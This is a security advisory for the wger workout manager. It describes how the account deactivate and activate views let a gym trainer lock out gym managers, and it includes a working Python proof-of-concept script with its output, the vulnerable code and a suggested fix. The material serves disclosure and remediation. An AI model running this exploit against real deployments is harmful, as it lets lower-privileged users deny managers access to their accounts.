GHSA-x249-cx55-2h87: High severity pip/wger vulnerability
Summary
A user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
python permissionrequired = ('gym.managegym', 'gym.managegyms', 'gym.gymtrainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/genericviews.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def haspermission(self): for permission in self.getpermissionrequired(): if self.request.user.hasperm(permission): return True # <-- ANY one permission is enough return False
The dispatch() method only verifies same-gym membership:
python def dispatch(self, request, args, kwargs): edituser = getobjector404(User, pk=self.kwargs['pk']) if ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.gymtrainer') ) and edituser.userprofile.gymid != request.user.userprofile.gymid: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, args, kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: getpermissionlist() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with gymmanager role (victim) and one with gymtrainer role (attacker) - Both users belong to the same gym
Attack Steps
As the trainer, simply visit: GET /en/user/<manageruserid>/deactivate
The manager's account is immediately set to isactive = False. The manager can no longer log in.
Proof of Concept Script
python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import re
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
MANAGERUSER = "gymmanagerpoc" MANAGERPASS = "Manager!Poc!2025" TRAINERUSER = "eviltrainerpoc" TRAINERPASS = "Trainer!Poc!2025"
BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)
---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None
def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
---- Setup via Django ORM (must run inside container) ----
import os, django os.environ['DJANGOSETTINGSMODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()
from django.contrib.auth.models import User, Group from wger.gym.models import Gym
Ensure permission groups exist for name in ['gymmember', 'gymtrainer', 'gymmanager', 'generalgymmanager']: Group.objects.getorcreate(name=name)
Create gym gym, = Gym.objects.getorcreate(name="PoC Test Gym") print(f"[] Gym: {gym.name} (id={gym.id})")
Create manager (the VICTIM) manager, created = User.objects.getorcreate( username=MANAGERUSER, defaults={"isactive": True} ) if created: manager.setpassword(MANAGERPASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gymmanager')) manager.isactive = True manager.save() print(f"[] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" isactive: {manager.isactive}")
Create trainer (the ATTACKER) trainer, created = User.objects.getorcreate( username=TRAINERUSER, defaults={"isactive": True} ) if created: trainer.setpassword(TRAINERPASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gymtrainer')) print(f"[] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")
---- 1. Verify manager is active BEFORE attack ----
manager.refreshfromdb() print(f"\n[] Manager isactive BEFORE attack: {manager.isactive}") assert manager.isactive, "Manager should be active before test"
---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='65}")
from django.test import Client c = Client() c.forcelogin(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINERUSER} - gymtrainer only)") print(f" Response: HTTP {resp.statuscode}")
---- 3. VERIFY ----
print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")
manager.refreshfromdb() print(f"\n Manager isactive AFTER attack: {manager.isactive}")
if not manager.isactive: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.isactive = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable")
Proof of Concept Output
===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================
[] Gym: PoC Test Gym (id=2) [] Manager (victim): gymmanagerpoc (id=4) Groups: ['gymmanager'] isactive: True [] Trainer (attacker): eviltrainerpoc (id=5) Groups: ['gymtrainer']
[] Manager isactive BEFORE attack: True
================================================================= ATTACK: Trainer deactivating gym manager account =================================================================
Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: eviltrainerpoc - gymtrainer only) Response: HTTP 200
================================================================= VERIFICATION =================================================================
Manager isactive AFTER attack: False
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+
[+] Cleanup: Manager re-activated
Impact
1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a generalgymmanager (superadmin) or a Django superuser manually re-activates their accounts. 3. Abuse Chain: Since getpermissionlist() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.
Fix
Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():
python File: wger/core/views/user.py, inside dispatch() of both views
edituser = getobjector404(User, pk=self.kwargs['pk'])
Trainers must not deactivate/activate managers or other trainers if request.user.hasperm('gym.gymtrainer') and not ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.managegyms') ): if ( edituser.hasperm('gym.managegym') or edituser.hasperm('gym.managegyms') or edituser.hasperm('gym.gymtrainer') ): return HttpResponseForbidden()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Add a privilege hierarchy check in dispatch() so lower-privileged users, including gym_trainer accounts, cannot deactivate or activate higher-privileged accounts such as gym_manager or general_gym_manager users.
wger UserDeactivateView and UserActivateView privilege hierarchy check = enforce
Event History
Frequently Asked Questions
Who can exploit this issue?
Any authenticated user who has the gym_trainer permission can exploit it against accounts in the same gym. The affected target accounts can include users with gym_manager or general_gym_manager permissions.
What access does an attacker need?
The attacker needs a valid account with the gym_trainer permission and membership in the same gym as the target. No user interaction is required.
What is the underlying access-control condition?
The deactivation view accepts any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer because its permission mixin applies OR logic. It checks same-gym membership but does not enforce a privilege hierarchy before deactivating the target account.
Which release is referenced for remediation?
The advisory references the wger 2.6 release.